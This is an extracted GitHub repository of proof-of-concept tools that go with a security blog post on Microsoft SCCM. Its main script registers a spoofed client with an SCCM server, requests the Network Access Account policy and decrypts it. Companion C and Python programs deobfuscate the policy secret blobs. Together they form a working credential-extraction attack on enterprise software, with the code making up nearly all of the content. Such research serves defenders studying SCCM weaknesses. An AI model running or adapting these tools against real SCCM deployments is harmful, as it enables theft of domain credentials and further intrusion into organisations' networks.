Repository: xpn/sccmwtf
Branch: main
Commit: 6d574ef455c0
Files: 6
Total size: 22.7 KB
Directory structure:
gitextract_wnuupl4v/
├── .gitignore
├── README.md
├── policysecretunobfuscate.c
├── policysecretunobfuscate.py
├── requirements.txt
└── sccmwtf.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
env
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/#use-with-ide
.pdm.toml
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/
================================================
FILE: README.md
================================================
## SCCMwtf
A couple of POC tools to support the blog post found [here](https://blog.xpnsec.com/unobfuscating-network-access-accounts/).
Note: This code is designed for exploring SCCM in a lab... don't be runnin' this on a job!
## Video
[](https://www.youtube.com/watch?v=oMy4nbmeQkw)
================================================
FILE: policysecretunobfuscate.c
================================================
#include <iostream>
#include <windows.h>
#include <wincrypt.h>
// https://stackoverflow.com/questions/17261798/converting-a-hex-string-to-a-byte-array
int char2int(char input)
{
if (input >= '0' && input <= '9')
return input - '0';
if (input >= 'A' && input <= 'F')
return input - 'A' + 10;
if (input >= 'a' && input <= 'f')
return input - 'a' + 10;
throw std::invalid_argument("Invalid input string");
}
void hex2bin(const char* src, char* target)
{
while (*src && src[1])
{
*(target++) = char2int(*src) * 16 + char2int(src[1]);
src += 2;
}
}
int main(int argc, char **argv)
{
HCRYPTPROV prov, prov2;
HCRYPTHASH hash;
HCRYPTKEY cryptKey;
BYTE buffer[1024];
if (argc != 2) {
return 1;
}
char* input = argv[1];
if (input[0] != '8' || input[1] != '9') {
return 1;
}
char* output = (char*)malloc(strlen(input) / 2);
if (output == NULL) {
return 1;
}
// Convert to bytes
hex2bin(input, output);
// Get data length
DWORD len = *(DWORD*)(output + 52);
if (len >= sizeof(buffer)) {
return 2;
}
// Hash length
memcpy(buffer, output + 64, len);
// Do the "crypto" stuff
CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
CryptCreateHash(prov, CALG_SHA1, 0, 0, &hash);
CryptHashData(hash, (const BYTE*)output + 4, 0x28, 0);
CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);
CryptDecrypt(cryptKey, 0, 1, 0, buffer, &len);
// Output
wprintf(L"%s\n", buffer);
return 0;
}
================================================
FILE: policysecretunobfuscate.py
================================================
# Python script which uses C and Windows API?!!! This cannot stand!
# Tested with data taken from YT video, typed all manually...
# 89130000703994099597edb7733621248D4f9d474995679d1b487564356e34e63fee0855f34044f494e49a7b140000002000000028000000036600000000000015893849fa928387d5c783fa23676ed8da6ab4275a31d653f3f5db6df860521b9b33ab0cf12669f1
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers import Cipher, modes
# This is a hack to support both cryptography 48.0.0 and previous versions
try:
from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES
except ImportError:
from cryptography.hazmat.primitives.ciphers.algorithms import TripleDES
def mscrypt_derive_key_sha1(secret:bytes):
# Implementation of CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);
buf1 = bytearray([0x36] * 64)
buf2 = bytearray([0x5C] * 64)
digest = hashes.Hash(hashes.SHA1(), backend=default_backend())
digest.update(secret)
hash_ = digest.finalize()
for i in range(len(hash_)):
buf1[i] ^= hash_[i]
buf2[i] ^= hash_[i]
digest1 = hashes.Hash(hashes.SHA1(), backend=default_backend())
digest1.update(buf1)
hash1 = digest1.finalize()
digest2 = hashes.Hash(hashes.SHA1(), backend=default_backend())
digest2.update(buf2)
hash2 = digest2.finalize()
derived_key = hash1 + hash2[:4]
return derived_key
def deobfuscate_policysecret(output:str or bytes):
if isinstance(output, str):
output = bytes.fromhex(output)
data_length = int.from_bytes(output[52:56], 'little')
buffer = output[64:64+data_length]
key = mscrypt_derive_key_sha1(output[4:4+0x28])
iv = bytes([0] * 8)
cipher = Cipher(TripleDES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(buffer) + decryptor.finalize()
padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3
decrypted_data = padder.update(decrypted_data) + padder.finalize()
return decrypted_data
def main():
import argparse
parser = argparse.ArgumentParser(description='Deobfuscates the policy secret data')
parser.add_argument('policydata', help='The output from the policy secret command')
args = parser.parse_args()
decrypted_data = deobfuscate_policysecret(args.policydata)
try:
decrypted_data = decrypted_data.decode('utf-16-le')
except:
decrypted_data = decrypted_data.hex()
print(decrypted_data)
if __name__ == '__main__':
main()
================================================
FILE: requirements.txt
================================================
certifi==2022.6.15
cffi==1.15.1
charset-normalizer==2.1.0
cryptography==37.0.4
idna==3.3
ntlm-auth==1.5.0
pyasn1==0.4.8
pyasn1-modules==0.2.8
pycparser==2.21
requests==2.28.1
requests-ntlm==1.1.0
requests-toolbelt==0.9.1
urllib3==1.26.10
================================================
FILE: sccmwtf.py
================================================
import datetime
import zlib
import requests
import re
import time
import sys
from pyasn1.codec.der.decoder import decode
from pyasn1_modules import rfc5652
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.serialization import PublicFormat
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.x509 import ObjectIdentifier
from requests_toolbelt.multipart import decoder
from requests_ntlm import HttpNtlmAuth
# Who needs just 1 date format :/
dateFormat1 = "%Y-%m-%dT%H:%M:%SZ"
dateFormat2 = "%Y%m%d%H%M%S.000000+000"
dateFormat3 = "%m/%d/%Y %H:%M:%S"
now = datetime.datetime.utcnow()
# Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy!
registrationRequestWrapper = "<ClientRegistrationRequest>{data}<Signature><SignatureValue>{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00"
registrationRequest = """<Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="{date}"><AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" /><Certificates><Encryption Encoding="HexBinary" KeyType="1">{encryption}</Encryption><Signing Encoding="HexBinary" KeyType="1">{signature}</Signing></Certificates><DiscoveryProperties><Property Name="Netbios Name" Value="{client}" /><Property Name="FQ Name" Value="{clientfqdn}" /><Property Name="Locale ID" Value="2057" /><Property Name="InternetFlag" Value="0" /></DiscoveryProperties></Data>"""
msgHeader = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
msgHeaderPolicy = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name="clientauth"><Property Name="AuthSenderMachine">{client}</Property><Property Name="PublicKey">{publickey}</Property><Property Name="ClientIDSignature">{clientIDsignature}</Property><Property Name="PayloadSignature">{payloadsignature}</Property><Property Name="ClientCapabilities">NonSSL</Property><Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name="zlib-compress" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
policyBody = """<RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType="Machine" /><ServerCookie /></RequestAssignments>"""
reportBody = """<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><ReportBody /></Report>"""
class Tools:
@staticmethod
def encode_unicode(input):
# Remove the BOM
return input.encode('utf-16')[2:]
@staticmethod
def write_to_file(input, file):
with open(file, "w") as fd:
fd.write(input)
class CryptoTools:
@staticmethod
def createCertificateForKey(key, cname):
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, cname),
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow() - datetime.timedelta(days=2)
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
).add_extension(
x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False,
key_agreement=False, content_commitment=False, data_encipherment=True,
crl_sign=False, encipher_only=False, decipher_only=False),
critical=False,
).add_extension(
# SMS Signing Certificate (Self-Signed)
x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]),
critical=False,
).sign(key, hashes.SHA256())
return cert
@staticmethod
def generateRSAKey():
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
return key
@staticmethod
def buildMSPublicKeyBlob(key):
# Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb
blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00"
blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little")
return blob.hex().upper()
# Signs data using SHA256 and then reverses the byte order as per SCCM
@staticmethod
def sign(key, data):
signature = key.sign(data, PKCS1v15(), hashes.SHA256())
signature_rev = bytearray(signature)
signature_rev.reverse()
return bytes(signature_rev)
# Same for now, but hints in code that some sigs need to have the hash type removed
@staticmethod
def signNoHash(key, data):
signature = key.sign(data, PKCS1v15(), hashes.SHA256())
signature_rev = bytearray(signature)
signature_rev.reverse()
return bytes(signature_rev)
@staticmethod
def decrypt(key, data):
print(key.decrypt(data, PKCS1v15()))
@staticmethod
def decrypt3Des(key, encryptedKey, iv, data):
desKey = key.decrypt(encryptedKey, PKCS1v15())
cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv))
decryptor = cipher.decryptor()
return decryptor.update(data) + decryptor.finalize()
class SCCMTools:
def __init__(self, server):
self._server = server
self._serverURI = f"http://{server}"
def sendCCMPostRequest(self, data, auth=False, username="", password=""):
headers = {
"Connection": "close",
"User-Agent": "ConfigMgr Messaging HTTP Sender",
"Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\""
}
if auth:
r = requests.request("CCM_POST", f"{self._serverURI}/ccm_system_windowsauth/request", headers=headers, data=data, auth=HttpNtlmAuth(username, password))
else:
r = requests.request("CCM_POST", f"{self._serverURI}/ccm_system/request", headers=headers, data=data)
multipart_data = decoder.MultipartDecoder.from_response(r)
for part in multipart_data.parts:
if part.headers[b'content-type'] == b'application/octet-stream':
return zlib.decompress(part.content).decode('utf-16')
def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False):
headers = {
"Connection": "close",
"User-Agent": "ConfigMgr Messaging HTTP Sender"
}
if authHeaders == True:
headers["ClientToken"] = "GUID:{};{};2".format(
clientID,
now.strftime(dateFormat1)
)
headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, now.strftime(dateFormat1)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper()
r = requests.get(f"{self._serverURI}"+url, headers=headers)
if retcontent == True:
return r.content
else:
return r.text
def createCertificate(self, writeToTmp=False):
self.key = CryptoTools.generateRSAKey()
self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client")
if writeToTmp:
with open("/tmp/key.pem", "wb") as f:
f.write(self.key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"),
))
with open("/tmp/certificate.pem", "wb") as f:
f.write(self.cert.public_bytes(serialization.Encoding.PEM))
def sendRegistration(self, name, fqname, username, password):
b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper()
embedded = registrationRequest.format(
date=now.strftime(dateFormat1),
encryption=b,
signature=b,
client=name,
clientfqdn=fqname
)
signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper()
request = Tools.encode_unicode(registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii')
header = msgHeader.format(
bodylength=len(request)-2,
client=name,
date=now.strftime(dateFormat1),
sccmserver=self._server
)
data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii')
deflatedData = self.sendCCMPostRequest(data, True, username, password)
r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData)
if r != None:
return r[0]
return None
def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID):
body = Tools.encode_unicode(policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n"
payloadCompressed = zlib.compress(body)
bodyCompressed = zlib.compress(body)
public_key = CryptoTools.buildMSPublicKeyBlob(self.key)
clientID = f"GUID:{uuid.upper()}"
clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper()
payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper()
header = msgHeaderPolicy.format(
bodylength=len(body)-2,
sccmserver=self._server,
client=name,
publickey=public_key,
clientIDsignature=clientIDSignature,
payloadsignature=payloadSignature,
clientid=uuid,
date=now.strftime(dateFormat1)
)
data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii')
deflatedData = self.sendCCMPostRequest(data)
result = re.search("PolicyCategory=\"NAAConfig\".*?<!\[CDATA\[https*://<mp>([^]]+)", deflatedData, re.DOTALL + re.MULTILINE)
#r = re.findall("http://<mp>(/SMS_MP/.sms_pol?[^\]]+)", deflatedData)
return [result.group(1)]
def parseEncryptedPolicy(self, result):
# Man.. asn1 suxx!
content, rest = decode(result, asn1Spec=rfc5652.ContentInfo())
content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData())
encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets()
iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:]
body = content['encryptedContentInfo']['encryptedContent'].asOctets()
decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body)
policy = decrypted.decode('utf-16')
return policy
if __name__ == "__main__":
print("SCCMwtf... by @_xpn_")
target_name = sys.argv[1]
target_fqdn = sys.argv[2]
target_sccm = sys.argv[3]
target_username = sys.argv[4]
target_password = sys.argv[5]
print("[*] Args: ")
print(f"[*] Spoof Name: {target_name}")
print(f"[*] Spoof FQDN: {target_fqdn}")
print(f"[*] Target SCCM: {target_sccm}")
print(f"[*] Computer account username: {target_username}")
print(f"[*] Computer account password: {target_password}")
print("[*] Creating certificate for our fake server...")
tools = SCCMTools(target_sccm)
tools.createCertificate(True)
print("[*] Registering our fake server...")
uuid = tools.sendRegistration(target_name, target_fqdn, target_username, target_password)
print(f"[*] Done.. our ID is {uuid}")
# If too quick, SCCM requests fail (DB error, jank!)
time.sleep(4)
print("[*] Requesting NAAPolicy.. 2 secs")
urls = tools.sendPolicyRequest(target_name, target_fqdn, uuid, target_name, target_fqdn, uuid)
print("[*] Parsing for Secretz...")
for url in urls:
result = tools.requestPolicy(url)
if result.startswith("<HTML>"):
result = tools.requestPolicy(url, uuid, True, True)
decryptedResult = tools.parseEncryptedPolicy(result)
Tools.write_to_file(decryptedResult, "/tmp/naapolicy.xml")
print("[*] Done.. decrypted policy dumped to /tmp/naapolicy.xml")
gitextract_wnuupl4v/ ├── .gitignore ├── README.md ├── policysecretunobfuscate.c ├── policysecretunobfuscate.py ├── requirements.txt └── sccmwtf.py
SYMBOL INDEX (25 symbols across 3 files)
FILE: policysecretunobfuscate.c
function char2int (line 6) | int char2int(char input)
function hex2bin (line 17) | void hex2bin(const char* src, char* target)
function main (line 26) | int main(int argc, char **argv)
FILE: policysecretunobfuscate.py
function mscrypt_derive_key_sha1 (line 17) | def mscrypt_derive_key_sha1(secret:bytes):
function deobfuscate_policysecret (line 41) | def deobfuscate_policysecret(output:str or bytes):
function main (line 58) | def main():
FILE: sccmwtf.py
class Tools (line 36) | class Tools:
method encode_unicode (line 38) | def encode_unicode(input):
method write_to_file (line 43) | def write_to_file(input, file):
class CryptoTools (line 47) | class CryptoTools:
method createCertificateForKey (line 49) | def createCertificateForKey(key, cname):
method generateRSAKey (line 79) | def generateRSAKey():
method buildMSPublicKeyBlob (line 84) | def buildMSPublicKeyBlob(key):
method sign (line 92) | def sign(key, data):
method signNoHash (line 100) | def signNoHash(key, data):
method decrypt (line 107) | def decrypt(key, data):
method decrypt3Des (line 111) | def decrypt3Des(key, encryptedKey, iv, data):
class SCCMTools (line 118) | class SCCMTools:
method __init__ (line 120) | def __init__(self, server):
method sendCCMPostRequest (line 124) | def sendCCMPostRequest(self, data, auth=False, username="", password=""):
method requestPolicy (line 141) | def requestPolicy(self, url, clientID="", authHeaders=False, retconten...
method createCertificate (line 160) | def createCertificate(self, writeToTmp=False):
method sendRegistration (line 175) | def sendRegistration(self, name, fqname, username, password):
method sendPolicyRequest (line 205) | def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN...
method parseEncryptedPolicy (line 233) | def parseEncryptedPolicy(self, result):
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (24K chars).
[
{
"path": ".gitignore",
"chars": 3083,
"preview": "env\n\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / pa"
},
{
"path": "README.md",
"chars": 408,
"preview": "## SCCMwtf\n\nA couple of POC tools to support the blog post found [here](https://blog.xpnsec.com/unobfuscating-network-ac"
},
{
"path": "policysecretunobfuscate.c",
"chars": 1614,
"preview": "#include <iostream>\n#include <windows.h>\n#include <wincrypt.h>\n\n// https://stackoverflow.com/questions/17261798/converti"
},
{
"path": "policysecretunobfuscate.py",
"chars": 2699,
"preview": "\n# Python script which uses C and Windows API?!!! This cannot stand!\n# Tested with data taken from YT video, typed all m"
},
{
"path": "requirements.txt",
"chars": 238,
"preview": "certifi==2022.6.15\ncffi==1.15.1\ncharset-normalizer==2.1.0\ncryptography==37.0.4\nidna==3.3\nntlm-auth==1.5.0\npyasn1==0.4.8\n"
},
{
"path": "sccmwtf.py",
"chars": 15186,
"preview": "import datetime\nimport zlib\nimport requests\nimport re\nimport time\nimport sys\nfrom pyasn1.codec.der.decoder import decode"
}
]
About this extraction
This page contains the full source code of the xpn/sccmwtf GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (22.7 KB), approximately 6.3k tokens, and a symbol index with 25 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.